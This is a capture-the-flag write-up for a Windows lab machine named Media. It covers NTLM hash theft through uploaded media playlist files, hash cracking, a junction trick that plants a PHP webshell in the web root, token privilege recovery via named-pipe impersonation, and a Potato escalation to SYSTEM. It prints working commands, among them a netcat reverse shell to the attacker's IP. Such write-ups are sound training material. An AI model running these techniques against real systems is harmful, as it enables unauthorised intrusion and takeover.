Overview

The machine starts by enumerating a file upload form with no extension filtering that accepts a video submission, this leads to generating NTLM-theft files in Windows Media Player formats like asx and wax to leak a NetNTLMv2 hash which we crack to get creds for SSH and RDP as enox to get user, then we read the source code and a review script to find the upload directory and abuse mklink to junction it into the XAMPP web root to get a PHP webshell running as Local Service, from there we use the NtObjectManager module and a named pipe impersonation technique against the cached logon session token to recover full privileges including SeImpersonatePrivilege, then chain a Potato-style exploit to get shell as NT SYSTEM and read root

Enumeration

start with nmap scan

as you can see we got only 3 ports

  1. SSH which is weird for Windows machine
  2. HTTP running a ProMotion Studio website
  3. RDP with the Hostname Media but no domain name so far

Port 80

ss_20260619_140039.png

there is a form allows uploading files ss_20260619_140159.png

uploaded a txt file and worked just fine and got a message that they'll review it then come back to us ss_20260619_140745.png

there is a lot i can think of here specially that it looks like there is no filters at all, we can't just upload a php shell cause we don't know where are they uploaded to, the directory fuzzing returned nothing so it leaves us with some options, one of those is is library-ms vulnerability to force authentication back to us with leaking the NTLMv2 hash

even though the library-ms didn't work, i am not done with that NTLM hash stuff

But since it requires a video lets try to get a NTLM theft via Windows Media Player and there are multiple extensions that can do that

  • asx Windows Media metafile (XML-based playlist)
  • wax windows audio redirector
  • wvx windows video redirector
  • wmx windows media playlist

Shell as Enox

so lets get ntlm-theft generate all those and upload them waiting for one to send something back to us

and we got a hash back there is no way to know which extension worked cause i uploaded all three of them without waiting to know so lets just crack this hash ss_20260619_145839.png

and we got a password for it so lets test it against ssh and RDP to see which one is working

both RDP and SSH working so lets login

bash
─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/Media]
└──╼ [★]$ nxc rdp 10.129.234.67 -u enox -p '1234virus@'
RDP 10.129.234.67 3389 MEDIA [*] Windows 10 or Windows Server 2016 Build 20348 (name:MEDIA) (domain:MEDIA) (nla:True)
RDP 10.129.234.67 3389 MEDIA [+] MEDIA\enox:1234virus@
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/Media]
└──╼ [★]$ nxc ssh 10.129.234.67 -u enox -p '1234virus@'
SSH 10.129.234.67 22 10.129.234.67 [*] SSH-2.0-OpenSSH_for_Windows_9.5
SSH 10.129.234.67 22 10.129.234.67 [+] enox:1234virus@ Windows - Shell access!

logging in with SSH gives us the user flag

plaintext
enox@MEDIA C:\Users\enox\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is EAD8-5D48

 Directory of C:\Users\enox\Desktop

10/02/2023  11:04 AM    <DIR>          .
10/02/2023  10:26 AM    <DIR>          ..
06/19/2026  01:15 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   9,939,918,848 bytes free

enox@MEDIA C:\Users\enox\Desktop>type user.txt
77ae6b502e5f4e4e20a055f615db23cf

now one thing we have to do is to look at the webserver we got running

there is a script on the users Documents mentioning the path of the upload directory for the website

looking at the index.php source code the files are uploaded to that path defined in the uploadDir variable

looking at the Uploads directory permissions we got Full access meaning we can write stuff here

plaintext
enox@MEDIA C:\Windows\Tasks\Uploads>icacls .
. Everyone:(OI)(CI)(F)
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

the directory have multiple hashes as directories for each user and where his files will be stored

plaintext
Directory of C:\Windows\Tasks\Uploads

06/19/2026  02:58 PM    <DIR>          .
10/02/2023  11:04 AM    <DIR>          ..
06/19/2026  02:36 PM    <DIR>          50895feaf87d417d2994a12c7cca8061
06/19/2026  02:18 PM    <DIR>          b1d6b85a7ba86fe09cc2d8a179e358f4
06/19/2026  02:57 PM    <DIR>          d09a73d044f0c5b976ad9041abf51af1
06/19/2026  02:21 PM    <DIR>          e68095c0be5e65d888b43b9d11b0fbe3
06/19/2026  02:58 PM                 0 todo.txt
               1 File(s)              0 bytes
               6 Dir(s)   9,938,636,800 bytes free

so what i am thinking if we can't write to the xampp directory itself, and the uploads aren't accessibel from there and we don't have any path traversal then we can try doing symlink mirroring that directory on the htdocs web root and whatever gets written to the upload directory hash direcotry firstname.lastname.email md5 hashed will be accessible from the website itself and then we can try to upload a php shell (cause there is no filtering in place)

btw we need that privilege SeCreateSymbolicLinkPrivilege to be able to do symlinks that doesn't appear in our privilege but still I am gonna give it a try

Shell as Local Service

here is the info i uploaded the file with ss_20260619_163352.png

it should generate this folder to store my PHP file in

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/Media/CVE-2024-40725/ntlm_theft]
└──╼ [★]$ echo -n "jimmyjimmyjimmy@me.com" | md5sum
2f3b5c513164ac35ab1fca7356a198b8 -

and as you can see the same hash with the file in it

plaintext
enox@MEDIA C:\Windows\Tasks\Uploads\2f3b5c513164ac35ab1fca7356a198b8>dir
 Volume in drive C has no label.
 Volume Serial Number is EAD8-5D48

 Directory of C:\Windows\Tasks\Uploads\2f3b5c513164ac35ab1fca7356a198b8

06/19/2026  04:34 PM    <DIR>          .
06/19/2026  04:34 PM    <DIR>          ..
06/19/2026  04:34 PM                30 shell.php
               1 File(s)             30 bytes
               2 Dir(s)   9,938,710,528 bytes free

trying to do the link got an error that file exists

plaintext
enox@MEDIA C:\Windows\Tasks\Uploads>mklink /J C:\Windows\Tasks\Uploads\2f3b5c513164ac35ab1fca7356a198b8 C:\xampp\htdocs
Cannot create a file when that file already exists.

after researching this error, actually understood somethings about the NTFS but what matters here why this failed ? cause the folder isn't empty and why that matters ?

Junctions (mklink /J) are an NTFS reparse point that maps an empty or non-existent directory to another directory. Windows requires the junction's target path to not already contain a real directory, because creating it is essentially "claiming" that path as a pointer, if something already physically exists there, Windows won't silently overwrite/replace it. That's a safety constraint baked into how junctions get created, not something junctions inherently can't do.

first delete the directory

plaintext
enox@MEDIA C:\Windows\Tasks\Uploads>rmdir 2f3b5c513164ac35ab1fca7356a198b8

then recreate the link again

javascript
enox@MEDIA C:\Windows\Tasks\Uploads>mklink /J C:\Windows\Tasks\Uploads\2f3b5c513164ac35ab1fca7356a198b8 C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\2f3b5c513164ac35ab1fca7356a198b8 <<===>> C:\xampp\htdocs

now we have to reupload this shell.php but it has to be with the same info as before just to land in the exact junction link

after upload you'll see it is in the web root so lets use the shell to know who is running this

plaintext
enox@MEDIA C:\xampp\htdocs>dir
 Volume in drive C has no label.
 Volume Serial Number is EAD8-5D48

 Directory of C:\xampp\htdocs

06/19/2026  04:47 PM    <DIR>          .
10/02/2023  11:03 AM    <DIR>          ..
10/02/2023  10:27 AM    <DIR>          assets
10/02/2023  10:27 AM    <DIR>          css
10/10/2023  05:00 AM            20,563 index.php
10/02/2023  10:27 AM    <DIR>          js
06/19/2026  04:47 PM                30 shell.php
               2 File(s)         20,593 bytes
               5 Dir(s)   9,936,678,912 bytes free

and as you can see it is running as local service with nt authority so lets get a shell back to us ss_20260619_165229.png

and we got a shell back ss_20260619_165626.png

looking at the privileges for this user

plaintext
PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== ========
SeTcbPrivilege                Act as part of the operating system Disabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeCreateGlobalPrivilege       Create global objects               Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Disabled
SeTimeZonePrivilege           Change the time zone                Disabled
PS C:\xampp\htdocs>

this is a stripped token for security but there is a way to get our full privileges back there is two techniques actually not just one I looked 0xdf to know which one he did and i will show the other technique he used full powers so lets do the other one

first download the ntObjectManager then expand it

Shell as System

First import the module and create the pipe and the job

bash
PS C:\Users\Public> Import-Module ./NtObjectManager.psm1
Import-Module ./NtObjectManager.psm1
WARNING: The names of some imported commands from the module 'NtObjectManager' include unapproved verbs that might make
 them less discoverable. To find the commands with unapproved verbs, run the Import-Module command again with the
Verbose parameter. For a list of approved verbs, type Get-Verb.
PS C:\Users\Public> $pipe = New-NtNamedPipeFile \\.\pipe\jimmex -Win32Path
$pipe = New-NtNamedPipeFile \\.\pipe\jimmex -Win32Path
PS C:\Users\Public> $job = Start-Job { $pipe.Listen() }
$job = Start-Job { $pipe.Listen() }
PS C:\Users\Public> $job
$job

Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
1      Job1            BackgroundJob   Completed     True            localhost             $pipe.Listen()

and as you can see that's the token we got

you can see that's the full privileges that token gives us

bash
PS C:\Users\Public> $token.privileges | ft Name, Attributes, DisplayName
$token.privileges | ft Name, Attributes, DisplayName

Name Attributes DisplayName
---- ---------- -----------
SeAssignPrimaryTokenPrivilege Enabled Replace a process level token
SeIncreaseQuotaPrivilege Enabled Adjust memory quotas for a process
SeTcbPrivilege Enabled Act as part of the operating system
SeSystemTimePrivilege Enabled Change the system time
SeAuditPrivilege Enabled Generate security audits
SeChangeNotifyPrivilege EnabledByDefault, Enabled Bypass traverse checking
SeImpersonatePrivilege EnabledByDefault, Enabled Impersonate a client after authentication
SeCreateGlobalPrivilege EnabledByDefault, Enabled Create global objects
SeIncreaseWorkingSetPrivilege Enabled Increase a process working set
SeTimeZonePrivilege Enabled Change the time zone

why is this important ? just in case there is a firewall that you can't turn off and caught the Full Power this module we importedis a legit module for the powershell

starting a new process with the shell.ps1 sends us back a new shell with the full privielges

bash
PS C:\Users\Public> New-Win32Process -Commandline 'C:\Users\Public\nc.exe 10.10.16.206 4444 -e cmd' -token $token
New-Win32Process -Commandline 'C:\Users\Public\nc.exe 10.10.16.206 4444 -e cmd' -token $token


Process : nc.exe
Thread : thread:5072 - process:2980
Pid : 2980
Tid : 5072
TerminateOnDispose : False
ExitStatus : 259
ExitNtStatus : STATUS_PENDING

back at the listener

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/Media]
└──╼ [★]$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.206] from (UNKNOWN) [10.129.234.67] 50545

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Windows\system32>

now with that privileges lets get Potato on the box

using the cradle one more we got a shell back as system ss_20260619_174138.png

and we got the root

plaintext
PS C:\Users\Administrator\Desktop> type root.txt
4677e3919f7be2081e44afa5c54ead32
PS C:\Users\Administrator\Desktop>

Resources